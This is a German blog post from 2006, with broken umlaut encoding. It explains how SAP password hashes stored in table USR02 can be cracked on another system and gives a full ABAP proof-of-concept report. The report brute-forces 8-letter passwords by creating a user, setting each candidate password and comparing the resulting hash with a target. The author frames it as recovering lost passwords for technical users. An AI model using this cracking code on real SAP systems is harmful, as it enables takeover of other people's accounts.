6. December 2006: Passw├Ârter-Raten

Als Administrator weist man ab und an seine Anwender darauf hin komplexere Passw├Ârter zu nutzen, die aus einer zuf├Ąlligen Reihenfolge von Buchstaben und Zahlen bestehen. Innerhalb eines SAP-System pflegt man denn auch einige Passwortregeln in Bezug auf deren L├Ąnge oder einiger W├Ârter und Wortteile, die nicht in Passw├Ârtern vorkommen d├╝rfen. Und man selbst geht nat├╝rlich mit leuchtendem Beispiel voran und verwendet ausschlie├člich kryptische Passw├Ârter.

Dumm nur, wenn man dann die Passwortliste f├╝r technische Hintergrund-User verliert. Da diese User meist f├╝r die Anbindung anderer Systeme genutzt werden, kann man auch deren Passwort nicht einfach wieder zur├╝cksetzen. Grund genug also, sich einmal n├Ąhergehend mit der Passwortverschl├╝sselung von SAP zu besch├Ąftigen.

Zun├Ąchst einmal das Wichtigste: Passw├Ârter werden innerhalb eines SAP-Systems mit einem nicht weiter bekannten Algorhytmus im Kernel selbst verschl├╝sselt. Dabei wird der Username mit in die Berechnung einbezogen, wodurch ein anderer User mit demselben Passwort einen anderen Hash-String bek├Ąme. Der so verschl├╝sselte Hash-String wird anschlie├čend in Tabelle USR02 zu einem User abgelegt.

Wie die Passw├Ârter genau verschl├╝sselt werden ist nicht bekannt. Allerdings k├Ânnen wir uns zunutze machen, dass die SID eines Systems nicht mit in die Berechnung eingeschlossen wird. Dadurch k├Ânnen wir auf einem anderen System, auf dem der User nicht existiert, einen Report starten, der die m├Âglichen Passwort-Kombinationen durchtestest. Der Report benutzt einen Funktionsbaustein, der einen User mit einem gegebenen Namen und Passwort anlegt. Nach der Anlage kann nun der Hash-Wert ausgelesen und mit einem anderen Wert verglichen werden. Ist der Hash-Wert derselbe, hat man das Passwort gefunden:

REPORT ZBOE_TEST .
parameters: user    like usr02-bname,
            pw_hash like usr02-bcode.

data: charset type table of c with default key initial size 26,
      char1 like line of charset,
      char2 like line of charset,
      char3 like line of charset,
      char4 like line of charset,
      char5 like line of charset,
      char6 like line of charset,
      char7 like line of charset,
      char8 like line of charset,
      pass(8),
      logondata type USLOGOND.

CALL FUNCTION 'SUSR_USER_CREATE'
  EXPORTING
    USER_NAME                          = user
    USER_LOGONDATA                     = logondata
    PASSWORD                           = ''
  EXCEPTIONS
    USER_NAME_ALREADY_EXISTS           = 1
    USER_LOCKED_BY_ANOTHER_ADMIN       = 2
    PASSWORD_NOT_ALLOWED               = 3
    ERROR_IN_LOCK_MANAGEMENT           = 4
    ERROR_WRITING_TO_DB                = 5
    INTERNAL_ERROR                     = 6
    OTHERS                             = 7.
case SY-SUBRC.
  when 0.
    break 1.
  when 1.
    MESSAGE e000(fb) with 'User existiert bereits!'.
  when others.
    MESSAGE e000(fb) with 'User konnte nicht angelegt werden.'.
endcase.

append 'A' to charset.
append 'B' to charset.
append 'C' to charset.
append 'D' to charset.
append 'E' to charset.
append 'F' to charset.
append 'G' to charset.
append 'H' to charset.
append 'I' to charset.
append 'J' to charset.
append 'K' to charset.
append 'L' to charset.
append 'M' to charset.
append 'N' to charset.
append 'O' to charset.
append 'P' to charset.
append 'Q' to charset.
append 'R' to charset.
append 'S' to charset.
append 'T' to charset.
append 'U' to charset.
append 'V' to charset.
append 'W' to charset.
append 'X' to charset.
append 'Y' to charset.
append 'Z' to charset.

loop at charset into char1.
  loop at charset into char2.
    loop at charset into char3.
      loop at charset into char4.
        loop at charset into char5.
          loop at charset into char6.
            loop at charset into char7.
              loop at charset into char8.
                 concatenate char1 char2 char3 char4
                             char5 char6 char7 char8 into pass.
                 CALL FUNCTION 'SUSR_USER_CHANGE'
                   EXPORTING
                     USER_NAME                 = user
                     PASSWORD                  = pass
                   EXCEPTIONS
                     USER_NAME_NOT_EXISTS      = 1
                     PASSWORD_NOT_ALLOWED      = 2
                     INTERNAL_ERROR            = 3
                     OTHERS                    = 4.
                 IF SY-SUBRC <> 0.
                   exit.
                 ENDIF.
                 CALL FUNCTION 'SUSR_USER_LOGONDATA_GET'
                   EXPORTING
                     USER_NAME                 = user
                   IMPORTING
                     USER_LOGONDATA            = logondata.
                 if pw_hash EQ logondata-BCODE.
                   write pass.
                   break 9.
                 endif.
              endloop.
            endloop.
          endloop.
        endloop.
      endloop.
    endloop.
  endloop.
endloop.

data ret_table type table of BAPIRET2.
CALL FUNCTION 'BAPI_USER_DELETE'
  EXPORTING
    USERNAME       = user
  TABLES
    RETURN         = ret_table.

Die Laufzeiten bei diesem Verfahren sind jedoch immens; auch wenn der Report selbst, der hier nur als Proof-of-Concept verstanden werden will, durchaus noch einiges Optimierungspotential besitzt. Die Laufzeit steigt jedoch expotentiell zur Anzahl der verwendeten Zeichen. Die m├Âglichen Kombinationen lassen sich einfach berechnen:

<Anzahl Zeichen>^<Passwortl├Ąnge>

In einem Test habe ich ein bekanntes Passwort bei einer Passwortl├Ąnge von acht Zeichen und sieben verschiedenen Zeichen in f├╝nf bis zehn Minuten finden k├Ânnen.